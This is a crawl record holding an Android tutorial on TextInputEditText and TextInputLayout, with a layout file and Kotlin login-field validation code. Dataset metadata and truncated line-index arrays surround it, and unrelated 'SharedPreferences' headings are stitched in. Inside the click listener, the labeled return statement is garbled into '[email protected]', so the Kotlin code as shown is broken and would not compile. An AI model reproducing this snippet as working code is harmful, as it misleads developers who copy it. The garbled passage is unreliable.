"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.36194896697998047,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.019721580669283867,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19837586581707,
"rps_doc_frac_unique_words": 0.4779874086380005,
"rps_doc_mean_word_length": 4.814465522766113,
"rps_doc_num_sentences": 56,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.299379348754883,
"rps_doc_word_count": 636,
"rps_doc_frac_chars_dupe_10grams": 0.05421293154358864,
"rps_doc_frac_chars_dupe_5grams": 0.08327890187501907,
"rps_doc_frac_chars_dupe_6grams": 0.08327890187501907,
"rps_doc_frac_chars_dupe_7grams": 0.07642064243555069,
"rps_doc_frac_chars_dupe_8grams": 0.07642064243555069,
"rps_doc_frac_chars_dupe_9grams": 0.05421293154358864,
"rps_doc_frac_chars_top_2gram": 0.0235140398144722,
"rps_doc_frac_chars_top_3gram": 0.014696279540657997,
"rps_doc_frac_chars_top_4gram": 0.012736770324409008,
"rps_doc_books_importance": -285.95318603515625,
"rps_doc_books_importance_length_correction": -285.95318603515625,
"rps_doc_openwebtext_importance": -168.2473602294922,
"rps_doc_openwebtext_importance_length_correction": -168.2473602294922,
"rps_doc_wikipedia_importance": -124.30502319335938,
"rps_doc_wikipedia_importance_length_correction": -124.30502319335938
},
"fasttext": {
"dclm": 0.3517652153968811,
"english": 0.9455162286758423,
"fineweb_edu_approx": 1.1090316772460938,
"eai_general_math": 0.5109203457832336,
"eai_open_web_math": 0.19132059812545776,
"eai_web_code": 0.03570371866226196
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "658.40285",
"labels": {
"level_1": "Industrial arts, Technology, and Engineering",
"level_2": "Business",
"level_3": "Management"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "4",
"label": "Missing Images or Figures"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "1",
"label": "General Audience"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
8,503,248,868,289,136,000 |
You are here
Installing newsbeuter on a headless server
Today we'll see how to install Newsbeuter on a headless linux server (CentOS or Fedora), since it's a very good tool for reading RSS streams.
1. Prerequisites (yum)
First we need to install some system packages :
yum install -y pkgconfig-devel curl-devel libcurl sqlite-devel.x86_64 libxml2 libxml2-devel
If available through yum, install ncurses5 otherwise we'll install it later
yum install -y ncurses5
2. Prerequisites (manual)
Here we will install each package one by one, through the old 'make' method with root user
# cd /usr/local/
# wget http://www.clifford.at/stfl/stfl-0.22.tar.gz
# cp /tmp/stfl-0.22.tar .
# tar xf stfl-0.22.tar
# cd stfl-0.22
# time make
# time make install
# cd /usr/local/
# wget http://oss.metaparadigm.com/json-c/json-c-0.9.tar.gz
# gunzip json-c-0.9.tar.gz
# tar xf json-c-0.9.tar
# cd json-c-0.9
# time ./configure
# time make
# time make install
# echo '/usr/local/lib' >> /etc/ld.so.conf.d/usr-local.conf
# cd /usr/local
# wget ftp://invisible-island.net/ncurses/ncurses-5.9.tar.gz
# gunzip ncurses-5.9.tar.gz
# tar xf ncurses-5.9.tar
# cd ncurses-5.9
# time ./configure --prefix=/usr/local
# time make
# time make install
# cd /usr/local/bin/
# ln -s ncurses5-config ncursesw5-config
# ldconfig
3. Newsbeuter install
Here you can choose to install with root or your own user.
$ cd $HOME
$ mkdir -pv base_newsbeuter
$ cd base_newsbeuter
$ wget http://www.newsbeuter.org/downloads/newsbeuter-2.7.tar.gz
$ tar zxf newsbeuter-2.7.tar.gz
$ export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig/
$ time make
$ time make install DESTDIR=$HOME/base_newsbeuter/newsbeuter-2.7_depl
4. Test
Just try running newsbeuter from its bin directory..
Theme by Danetsoft and Danang Probo Sayekti inspired by Maksimer
Fatal error: Class 'FeedsHTTPCache' not found in /usr/local/httpd-resources/vhosts/drupal-7.56/modules/feeds/feeds.module on line 82
|
{
"url": "https://blog.river-tiger.com/newsbeuter-headless",
"source_domain": "blog.river-tiger.com",
"snapshot_id": "crawl=CC-MAIN-2018-30",
"warc_metadata": {
"Content-Length": "13562",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:TVWIUL3OWV2VPNXRE7IGPNO5HL2KYYWE",
"WARC-Concurrent-To": "<urn:uuid:01c5cd9d-324a-46eb-9412-94b84295d253>",
"WARC-Date": "2018-07-23T15:52:42Z",
"WARC-IP-Address": "185.47.63.113",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:UHOD5HNCBUBD5W4WPLO5FRI6LAOELQ7E",
"WARC-Record-ID": "<urn:uuid:d7201c22-b7ca-4bb5-857c-720928036190>",
"WARC-Target-URI": "https://blog.river-tiger.com/newsbeuter-headless",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:1920dd13-20c5-41f6-b63b-24a1bd65c26b>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-141-37-174.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
13,
14,
57,
58,
200,
201,
226,
278,
374,
454,
482,
510,
605,
606,
627,
683,
713,
740,
759,
775,
799,
800,
821,
885,
916,
944,
964,
987,
1003,
1027,
1028,
1092,
1093,
1113,
1178,
1210,
1239,
1260,
1303,
1319,
1343,
1368,
1413,
1414,
1429,
1430,
1454,
1517,
1532,
1564,
1589,
1658,
1694,
1695,
1750,
1766,
1840,
1841,
1851,
1908,
1909,
1974,
1975,
1976
],
"line_end_idx": [
13,
14,
57,
58,
200,
201,
226,
278,
374,
454,
482,
510,
605,
606,
627,
683,
713,
740,
759,
775,
799,
800,
821,
885,
916,
944,
964,
987,
1003,
1027,
1028,
1092,
1093,
1113,
1178,
1210,
1239,
1260,
1303,
1319,
1343,
1368,
1413,
1414,
1429,
1430,
1454,
1517,
1532,
1564,
1589,
1658,
1694,
1695,
1750,
1766,
1840,
1841,
1851,
1908,
1909,
1974,
1975,
1976,
2108
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2108,
"ccnet_original_nlines": 64,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.12382739037275314,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.00938086025416851,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.43714821338653564,
"rps_doc_frac_unique_words": 0.6284403800964355,
"rps_doc_mean_word_length": 6.610091686248779,
"rps_doc_num_sentences": 58,
"rps_doc_symbol_to_word_ratio": 0.05065666139125824,
"rps_doc_unigram_entropy": 4.622453212738037,
"rps_doc_word_count": 218,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06662040203809738,
"rps_doc_frac_chars_dupe_6grams": 0.03469812870025635,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.044413600116968155,
"rps_doc_frac_chars_top_3gram": 0.03331020101904869,
"rps_doc_frac_chars_top_4gram": 0.044413600116968155,
"rps_doc_books_importance": -259.06109619140625,
"rps_doc_books_importance_length_correction": -259.06109619140625,
"rps_doc_openwebtext_importance": -140.665771484375,
"rps_doc_openwebtext_importance_length_correction": -140.665771484375,
"rps_doc_wikipedia_importance": -95.07713317871094,
"rps_doc_wikipedia_importance_length_correction": -95.07713317871094
},
"fasttext": {
"dclm": 0.038861751556396484,
"english": 0.5356816649436951,
"fineweb_edu_approx": 1.745160460472107,
"eai_general_math": 0.6514537334442139,
"eai_open_web_math": 0.070037841796875,
"eai_web_code": 0.5297409892082214
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.445",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.028",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "6",
"label": "Indeterminate"
}
},
"document_type_v2": {
"primary": {
"code": "23",
"label": "Tutorial"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-400,055,932,736,709,760 |
0 Favourites
Puzzle/board game : best practices (capx incl.)
• Hi everybody,
I am starting to implement a drag and drop puzzle 'game'.
This is more an experiment than a real game, but I wanted to get advice from experimented C2 users on the best practices to achieve such project.
My goal is to start small by setting up a kid puzzle game. It would be some easy 4 pieces puzzle where you can drag and drop the pieces in their correct placeholders.
Later on I'd like to move forward in my learning to be able to start building board games (there as well it would go from very simple to more complex stuff based on what I would have learned)
So far I am not at the 'simple kid puzzle game' yet, I just have a capx file/project that does the following:
1) Initiate a player in a placeholder sprite
2) Initiate a map composed of 5 sprite having a disabled 'black and white' effect
3) Add drag and drop on player (and position it to the touch position)
4) Highlight the map cell I am over (by dragging the player). Only one map can be highlighted at the time)
5) Handle the 'on drop' so the player position is either set on the map cell highlighted, either it's placed back on the initial placeholder.
(sorry I can't post links yet)
Demo is there : lo-zone.com/labo/puzzleLo/demo/index.html
Capx is there : lo-zone.com/labo/puzzleLo/puzzleLo.capx
I looks a bit 'static' to me, I was wondering if there were better way to implement such things. Maybe there are plugins that would be better to use for such 'game' maybe there is a way to 'loop' through the map definition, or a way to group map items toegether as they mainly have the same behaviour.
here for each map item I copy pasted the events and updated to fit to map1, map2, map3, map4 or map5. maybe there is a way to have a loop that could define the whole map (especially if I start having bigger maps).
Don't hesitate to let me know if you need further info or if you want me to clarify some points.
Thx in advance for any help you could give me.
• Construct 3
Buy Construct 3
Develop games in your browser. Powerful, performant & highly capable.
Buy Now Construct 3 users don't see these ads
• Things to read up on:
• functions
• families
and to make it look less static you could choose to use one of the movement behaviour on drop.
• Copying a lot of events is (almost?) never necessary. it can be avoided by using families, functions and/or instances of the same sprite.
• Trust me "Functions" learn how to make one, and use it all the time. Especially when you have player 1,2,50 involved if you ever go that route.
• Hi,
I've updated my project using families and function but I am a bit stuck trying what I want to achieve.
here is my updated capx : lo-zone.com/labo/puzzleLo/puzzleLo2.capx
I've got 2 functions in the event and a question for both (questions are in a remark in the event tab)
1) ????? -> How to disable 'black and white' effect for all family item and how to enable it only for the one I am over (id being the function param)
2) ????? -> How to set position to familly item Player is over (id being the function param)
Help would be really appreciated
Thx
• Ok I've managed to get the map item I was over with by using a sub event.
But I still have an issue to set my player position to the map item from the family I am over.
This is the last event of my capx
lo-zone.com/labo/puzzleLo/puzzleLo3.capx
I'd really appreciate if someone could help.
Thx
• onPlayerDrop(isOverCell)
You can't use MapItems.UID because you haven't picked the current one.
You should not rely on a fixed UID (that is =0). You should store the UID of the placeholder of startup and compare to that. That way it can change to any number in the future and everything will still work.
• Ok I updated the 0 to use a variable instead.
thanks
Here is the full capx using functions/families and sub-events : lo-zone.com/labo/puzzleLo/puzzleLo4.capx
Thanks a lot for the help
Jump to:
Active Users
There are 1 visitors browsing this topic (0 users and 1 guests)
|
{
"url": "https://www.construct.net/forum/construct-2/how-do-i-18/puzzle-board-game-best-practic-67183",
"source_domain": "www.construct.net",
"snapshot_id": "crawl=CC-MAIN-2018-30",
"warc_metadata": {
"Content-Length": "59557",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:CLYXFQUIEPQAQCX46TK3T4ZTNNNFWFCF",
"WARC-Concurrent-To": "<urn:uuid:3cc25b82-ecee-4ad2-bab9-129426b73b4b>",
"WARC-Date": "2018-07-18T18:33:53Z",
"WARC-IP-Address": "104.20.218.35",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WH752P5IJYQUBNJRGKJJHNC6KJMEUPDW",
"WARC-Record-ID": "<urn:uuid:cafcef4c-7cd3-406b-a0af-7a026207bcbc>",
"WARC-Target-URI": "https://www.construct.net/forum/construct-2/how-do-i-18/puzzle-board-game-best-practic-67183",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:76475d20-ddd2-449c-9126-09c7a0f8e41c>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-30-43-194.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
13,
14,
62,
63,
81,
82,
144,
145,
295,
296,
467,
468,
664,
665,
779,
780,
829,
830,
916,
917,
992,
993,
1104,
1105,
1251,
1252,
1287,
1288,
1350,
1351,
1411,
1412,
1718,
1719,
1937,
1938,
2039,
2040,
2091,
2092,
2108,
2109,
2129,
2130,
2204,
2205,
2255,
2281,
2282,
2298,
2313,
2314,
2413,
2414,
2556,
2557,
2705,
2706,
2714,
2715,
2823,
2824,
2895,
2896,
3003,
3004,
3158,
3159,
3256,
3257,
3294,
3295,
3303,
3304,
3382,
3383,
3482,
3483,
3521,
3522,
3567,
3568,
3617,
3618,
3626,
3627,
3656,
3657,
3732,
3733,
3945,
3946,
3996,
3997,
4008,
4009,
4118,
4119,
4149,
4150,
4159,
4172
],
"line_end_idx": [
13,
14,
62,
63,
81,
82,
144,
145,
295,
296,
467,
468,
664,
665,
779,
780,
829,
830,
916,
917,
992,
993,
1104,
1105,
1251,
1252,
1287,
1288,
1350,
1351,
1411,
1412,
1718,
1719,
1937,
1938,
2039,
2040,
2091,
2092,
2108,
2109,
2129,
2130,
2204,
2205,
2255,
2281,
2282,
2298,
2313,
2314,
2413,
2414,
2556,
2557,
2705,
2706,
2714,
2715,
2823,
2824,
2895,
2896,
3003,
3004,
3158,
3159,
3256,
3257,
3294,
3295,
3303,
3304,
3382,
3383,
3482,
3483,
3521,
3522,
3567,
3568,
3617,
3618,
3626,
3627,
3656,
3657,
3732,
3733,
3945,
3946,
3996,
3997,
4008,
4009,
4118,
4119,
4149,
4150,
4159,
4172,
4235
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4235,
"ccnet_original_nlines": 102,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.42658090591430664,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.028938909992575645,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.19935691356658936,
"rps_doc_frac_unique_words": 0.4087791442871094,
"rps_doc_mean_word_length": 4.253772258758545,
"rps_doc_num_sentences": 44,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.183004379272461,
"rps_doc_word_count": 729,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.029022900387644768,
"rps_doc_frac_chars_dupe_6grams": 0.029022900387644768,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.005804580170661211,
"rps_doc_frac_chars_top_3gram": 0.010641730390489101,
"rps_doc_frac_chars_top_4gram": 0.012254109606146812,
"rps_doc_books_importance": -368.726806640625,
"rps_doc_books_importance_length_correction": -368.726806640625,
"rps_doc_openwebtext_importance": -206.1996612548828,
"rps_doc_openwebtext_importance_length_correction": -206.1996612548828,
"rps_doc_wikipedia_importance": -149.11907958984375,
"rps_doc_wikipedia_importance_length_correction": -149.11907958984375
},
"fasttext": {
"dclm": 0.027278300374746323,
"english": 0.9393181800842285,
"fineweb_edu_approx": 1.2750680446624756,
"eai_general_math": 0.6356790065765381,
"eai_open_web_math": 0.22667735815048218,
"eai_web_code": 0.331418514251709
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "794.8",
"labels": {
"level_1": "Arts",
"level_2": "Amusements and Recreation",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "2",
"label": "Click Here References"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "2",
"label": "High School Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
9,041,859,272,074,425,000 |
This is an android TextInputEditText tutorial and example.
TextInputEditText
TextInputEditText is a special sub-class of EditText designed for use as a child of TextInputLayout.
Using it allows us to display a hint in the IME when in ‘extract’ mode and provides accessibility support for TextInputLayout.
TextInputLayout
TextInputLayout is a layout that wraps a TextInputEditText, EditText, or descendant to show a floating label when the hint is hidden while the user inputs text.
It also supports:
• Showing an error via setErrorEnabled(boolean) and [setError(CharSequence), along with showing an error icon via setErrorIconDrawable(Drawable)
• Showing helper text via setHelperTextEnabled(boolean) and setHelperText(CharSequence)
• Showing placeholder text via setPlaceholderText(CharSequence)
• Showing prefix text via setPrefixText(CharSequence)
• Showing suffix text via setSuffixText(CharSequence)
• Showing a character counter via setCounterEnabled(boolean) and setCounterMaxLength(int)
• Password visibility toggling via setEndIconMode(int) API and related attribute. If set, a button is displayed to toggle between the password being displayed as plain-text or disguised, when your EditText is set to display a password.
• Clearing text functionality via setEndIconMode(int) API and related attribute. If set, a button is displayed when text is present and clicking it clears the EditText field.
• Showing a custom icon specified via setEndIconMode(int) API and related attribute. You should specify a drawable and content description for the icon. Optionally, you can also specify an View.OnClickListener, an TextInputLayout.OnEditTextAttachedListener and an TextInputLayout.OnEndIconChangedListener.
• Showing a start icon via setStartIconDrawable(Drawable) API and related attribute. You should specify a content description for the icon. Optionally, you can also specify an View.OnClickListener for it.
• Showing a button that when clicked displays a dropdown menu. The selected option is displayed above the dropdown. You need to use an AutoCompleteTextView instead of a TextInputEditText as the input text child, and a Widget.MaterialComponents.TextInputLayout.(…).ExposedDropdownMenu style.
Let us look at a full example
Kotlin Android SharedPreferences
Kotlin Android SharedPreferences
Kotlin Android SharedPreferences
Kotlin Android TextInputEditText and TextInputLayout Example
Here is what we create:
Kotlin Android TextInputEditText Example
Step 1: Create Project
Start by creating an empty project in android studio.
Step 2: Dependencies
To use TextInputEditText we need to add the following dependency in our app/build.gradle file:
implementation 'com.google.android.material:material:1.1.0'
We will also be using a circular imageview so we add the following:
// circle image view
implementation 'de.hdodenhof:circleimageview:3.1.0'
Step 3: Design Layout
Create the following layout for our MainActivity and add the widgets as specified:
activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity"
android:orientation="vertical"
android:layout_gravity="center"
android:gravity="center">
<de.hdodenhof.circleimageview.CircleImageView
android:id="@+id/profile_image"
android:layout_width="200dp"
android:layout_height="200dp"
android:src="@drawable/users"
app:civ_border_width="2dp"
app:civ_border_color="#F44336"
android:layout_margin="20dp"/>
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/tip_main_user"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:counterEnabled="true"
app:errorEnabled="true"
app:counterMaxLength="30"
android:layout_marginRight="20dp"
android:layout_marginLeft="20dp">
<com.google.android.material.textfield.TextInputEditText
android:inputType="text"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="UserName" />
</com.google.android.material.textfield.TextInputLayout>
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/tip_main_password"
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:passwordToggleEnabled="true"
android:layout_marginRight="20dp"
android:layout_marginLeft="20dp"
app:counterEnabled="true"
app:errorEnabled="true"
app:counterMaxLength="15">
<com.google.android.material.textfield.TextInputEditText
android:inputType="textPassword"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="Password"
android:maxLength="15"/>
</com.google.android.material.textfield.TextInputLayout>
<Button
android:id="@+id/btn"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginRight="20dp"
android:layout_marginLeft="20dp"
android:text="Login"/>
</LinearLayout>
Step 4: Write Code
Below is the code for the MainActivity:
MainActivity.kt
package arb.test.text.input.layout
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.widget.Toast
import kotlinx.android.synthetic.main.activity_main.*
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
btn.setOnClickListener {
if(!user() || !pas())
[email protected]
Toast.makeText(applicationContext,"Welcome",Toast.LENGTH_SHORT).show()
}
}
fun user() : Boolean{
var username = tip_main_user.editText?.text.toString().trim()
return when {
username.isEmpty() -> {
tip_main_user.error = "This field cannot be empty"
false
}
username.length > 30 -> {
tip_main_user.error = "The number of characters entered is more than allowed"
false
}
else -> {
tip_main_user.error = null
true
}
}
}
fun pas() : Boolean{
var Password = tip_main_password.editText?.text.toString().trim()
return when {
Password.isEmpty() -> {
tip_main_password.error = "This field cannot be empty"
false
}
Password.length < 4 && Password.length != null -> {
tip_main_password.error = "Enter at least 4 characters"
false
}
else -> {
tip_main_password.error = null
true
}
}
}
}
Step 5: Run
Copy the code into your project or download it below and run in AndroidStudio.
Reference
Below are the reference links:
Number Link
1. Download Example
2. Follow Example author
3. TextInputEditText
4. TextInputLayout
|
{
"url": "https://camposha.info/android-examples/android-textinputedittext-textinputlayout/",
"source_domain": "camposha.info",
"snapshot_id": "crawl=CC-MAIN-2022-40",
"warc_metadata": {
"Content-Length": "109937",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:LS55ON5RXEWUSTNYZLC7KSVKMUWCQP7C",
"WARC-Concurrent-To": "<urn:uuid:7a596c3d-4a3b-4753-acde-393d82734bda>",
"WARC-Date": "2022-09-27T22:58:54Z",
"WARC-IP-Address": "104.21.80.113",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:TE6AGZPTQ6U7HE6MHUUEP7UTYH5LGWNI",
"WARC-Record-ID": "<urn:uuid:88bab4f2-266e-4ce6-8b20-0c053909954e>",
"WARC-Target-URI": "https://camposha.info/android-examples/android-textinputedittext-textinputlayout/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:75ca02bc-c827-4eef-a805-fc226280498c>"
},
"warc_info": "isPartOf: CC-MAIN-2022-40\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September/October 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-70\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
59,
60,
78,
79,
180,
181,
308,
309,
325,
326,
487,
488,
506,
507,
654,
655,
745,
746,
812,
813,
869,
870,
926,
927,
1019,
1020,
1258,
1259,
1436,
1437,
1745,
1746,
1953,
1954,
2247,
2248,
2278,
2279,
2312,
2313,
2346,
2379,
2380,
2441,
2442,
2466,
2467,
2508,
2509,
2532,
2533,
2587,
2588,
2609,
2610,
2705,
2706,
2770,
2771,
2839,
2840,
2868,
2924,
2925,
2947,
2948,
3031,
3032,
3050,
3051,
3090,
3163,
3219,
3270,
3310,
3351,
3385,
3420,
3456,
3486,
3487,
3537,
3577,
3614,
3652,
3690,
3725,
3764,
3803,
3804,
3863,
3903,
3947,
3992,
4026,
4058,
4092,
4134,
4176,
4177,
4242,
4279,
4327,
4376,
4415,
4416,
4477,
4478,
4537,
4581,
4625,
4670,
4711,
4753,
4794,
4828,
4860,
4895,
4896,
4961,
5006,
5054,
5103,
5139,
5176,
5177,
5238,
5239,
5251,
5281,
5325,
5370,
5412,
5453,
5484,
5485,
5501,
5502,
5521,
5522,
5562,
5563,
5579,
5580,
5615,
5616,
5664,
5689,
5717,
5771,
5772,
5815,
5816,
5873,
5916,
5963,
5964,
5997,
5998,
6032,
6066,
6067,
6150,
6151,
6161,
6162,
6168,
6169,
6195,
6196,
6266,
6267,
6289,
6290,
6326,
6393,
6415,
6429,
6467,
6561,
6583,
6597,
6619,
6662,
6683,
6697,
6707,
6713,
6714,
6739,
6740,
6814,
6815,
6837,
6838,
6874,
6945,
6967,
6981,
7045,
7117,
7139,
7153,
7175,
7222,
7243,
7257,
7267,
7273,
7275,
7276,
7288,
7289,
7368,
7369,
7379,
7380,
7411,
7412,
7424,
7444,
7469,
7490
],
"line_end_idx": [
59,
60,
78,
79,
180,
181,
308,
309,
325,
326,
487,
488,
506,
507,
654,
655,
745,
746,
812,
813,
869,
870,
926,
927,
1019,
1020,
1258,
1259,
1436,
1437,
1745,
1746,
1953,
1954,
2247,
2248,
2278,
2279,
2312,
2313,
2346,
2379,
2380,
2441,
2442,
2466,
2467,
2508,
2509,
2532,
2533,
2587,
2588,
2609,
2610,
2705,
2706,
2770,
2771,
2839,
2840,
2868,
2924,
2925,
2947,
2948,
3031,
3032,
3050,
3051,
3090,
3163,
3219,
3270,
3310,
3351,
3385,
3420,
3456,
3486,
3487,
3537,
3577,
3614,
3652,
3690,
3725,
3764,
3803,
3804,
3863,
3903,
3947,
3992,
4026,
4058,
4092,
4134,
4176,
4177,
4242,
4279,
4327,
4376,
4415,
4416,
4477,
4478,
4537,
4581,
4625,
4670,
4711,
4753,
4794,
4828,
4860,
4895,
4896,
4961,
5006,
5054,
5103,
5139,
5176,
5177,
5238,
5239,
5251,
5281,
5325,
5370,
5412,
5453,
5484,
5485,
5501,
5502,
5521,
5522,
5562,
5563,
5579,
